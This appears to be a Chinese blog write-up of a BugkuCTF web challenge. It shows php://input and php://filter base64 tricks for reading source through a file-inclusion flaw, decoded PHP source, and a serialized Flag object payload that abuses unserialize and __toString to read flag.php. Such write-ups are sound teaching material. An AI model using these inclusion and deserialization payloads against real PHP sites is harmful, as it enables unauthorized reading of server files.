仅供参考,共同进步。

welcome to bugkuctf

                  (题目页面)

                 (题目源代码)

 

1.读取到的信息:

a.  用_GET方式传递三个参数

b.  user不为空,并且作为文件名变量打开后的文件内容为  “welcome to the bugkuctf”

c.  file要求为hint.php

d.  password变量暂时未读到相关信息

 

2.根据读到的信息测试

注:当传进去的变量的参数作为文件名变量去打开时,可用 : 变量名=php://input ,php://input 作为参数,同时使用post 方式传入内容作为变量的文件内容。

3.读取hint.php源文件

注:读取 php 源文件,将其以base64编码的方式输出可通过 “ php://filter/read=convert.base64-encode/resource=php源文件名 ” 的方法

得到base64编码:

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==     

base64解码:

 1 <?php  
 2   
 3 class Flag{//flag.php  
 4     public $file;  
 5     public function __tostring(){  
 6         if(isset($this->file)){  
 7             echo file_get_contents($this->file); 
 8             echo "<br>";
 9         return ("good");
10         }  
11     }  
12 }  
13 ?>  

注:file_get_contents() 函数将一个文件读入一个字符串

读取到的信息:

a. 类名后面有 flag.php的注释

b. 类内有个__tostring()函数,将类作为字符串执行时会自动执行的一个函数,此函数执行时会输出类内变量 file 的内容

     联想前面的flag注释,此时有可能会输出flag

 

4.读取index.php

用读取hint.php的方法读取出index.php,得到base64 编码:

PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg 

解码:

       

 1 <?php  
 2 $txt = $_GET["txt"];  
 3 $file = $_GET["file"];  
 4 $password = $_GET["password"];  
 5   
 6 if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
 7     echo "hello friend!<br>";  
 8     if(preg_match("/flag/",$file)){ 
 9         echo "不能现在就给你flag哦";
10         exit();  
11     }else{  
12         include($file);   
13         $password = unserialize($password);  
14         echo $password;  
15     }  
16 }else{  
17     echo "you are not the number of bugku ! ";  
18 }  
19   
20 ?>  
21   
22 <!--  
23 $user = $_GET["txt"];  
24 $file = $_GET["file"];  
25 $pass = $_GET["password"];  
26   
27 if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
28     echo "hello admin!<br>";  
29     include($file); //hint.php  
30 }else{  
31     echo "you are not admin ! ";  
32 }  
33  -->  

注:serialize() 函数用于序列化对象或数组,并返回一个字符串。

       unserialize() 函数用于将通过 serialize() 函数序列化后的对象或数组进行反序列化,并返回原始的对象结构。

读取信息:

a. 

 if(preg_match("/flag/",$file)){ 
        echo "不能现在就给你flag哦";
        exit();  '
通过preg_match匹配了flag关键字,也就无法输出flag.php内容,将希望寄托于之前的到的类

b. 

  $password = unserialize($password);  
echo $password;
得到了password的用法,用于解序列化并将其输出,结合之前Flag类的输出猜测,如果password为Flag类的序列化,将其解序列化后便是Flag类,将其输出便可能得到flag

 

4.根据前面一系列操作和猜测,当前需要得到类Flag的序列化

编写代码得到Flag的序列化:

<?php
    class Flag{//flag.php  
    public $file;  
    }  
 
    $a = new Flag();
    $a->file = "flag.php";
    $a = serialize($a);
    print_r($a);
?>

执行得到:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

5.验证猜测

 

 




 

posted @ 2018-09-24 22:19  南山i  阅读(661)  评论(0编辑  收藏  举报